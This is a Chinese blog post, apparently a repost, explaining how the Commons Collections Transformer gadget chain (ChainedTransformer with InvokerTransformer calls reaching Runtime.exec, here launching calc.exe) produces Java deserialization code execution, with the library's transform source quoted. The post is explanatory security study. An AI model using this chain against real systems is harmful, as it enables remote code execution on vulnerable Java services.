博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
java反序列化 - Transformer类可以执行恶意代码的原理
阅读量:5836 次
发布时间:2019-06-18

本文共 2360 字,大约阅读时间需要 7 分钟。

java反序列化 - Transformer类可以执行恶意代码的原理

0x00 代码

Transformer[] transformers = new Transformer[]{                  new ConstantTransformer(Runtime.class),                  new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),                  new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),                  new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),          };          Transformer transformerChain = new ChainedTransformer(transformers);          ByteArrayOutputStream out = new ByteArrayOutputStream();          ObjectOutputStream objOut;        try {            objOut = new ObjectOutputStream(out);            objOut.writeObject(transformerChain);            transformerChain.transform(null);        } catch (IOException e) {            // TODO Auto-generated catch block            e.printStackTrace();        }

执行结果:

java反序列化 - Transformer类可以执行恶意代码的原理

0x01 Transformer类为什么可以执行恶意代码?

transformerChain.transform(null); 执行的是:ChainedTransformer类的transform方法

public Object transform(Object object) {        for (int i = 0; i < iTransformers.length; i++) {            object = iTransformers[i].transform(object);        }        return object;    }

object = iTransformers[i].transform(object); 执行的是InvokerTransformer类的transform方法

public Object transform(Object input) {        if (input == null) {            return null;        }        try {            Class cls = input.getClass();            Method method = cls.getMethod(iMethodName, iParamTypes);            return method.invoke(input, iArgs);        } catch (NoSuchMethodException ex) {            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");        } catch (IllegalAccessException ex) {            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");        } catch (InvocationTargetException ex) {            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);        }    }

java反序列化 - Transformer类可以执行恶意代码的原理

通过反射机制调用runtime.class的getMethod方法,继续调用invoke方法生成了一个runtime的对象,最后执行该对象的exec方法,因此造成了反序列化漏洞。
可以参考:
的0x03 补充

转载于:https://blog.51cto.com/13770310/2160737

你可能感兴趣的文章
从零开始使用Hubbledotnet进行全文搜索-前言
查看>>
关于php连接mysql超时问题以及mysql参数interactive_timeout和wa...
查看>>
js控制图片等比例缩放
查看>>
linux 系统监控、诊断工具之 top 详解
查看>>
配置hadoop伪分布模式
查看>>
我的友情链接
查看>>
Java高级开发工程师面试考纲
查看>>
FreeMarker表达式
查看>>
Node.js(八)——HTTP性能测试
查看>>
No module named 'apt_pkg' 出错
查看>>
shell 练习
查看>>
Debian9.2 下使用vnstat查看服务器带宽流量统计
查看>>
NGINX + PHP-FPM 502
查看>>
Windows Server 2012 之DHCP服务器的备份,还原及转移
查看>>
等值首尾和
查看>>
MySql配置远程访问
查看>>
[转]浏览器加载、解析、渲染的过程
查看>>
oracle linux 5.7 布署ogg v11 oracle to oracle之环境配置及数据初始化
查看>>
计算类路径,计算Servlet上下文路径
查看>>
mysql数据备份与恢复
查看>>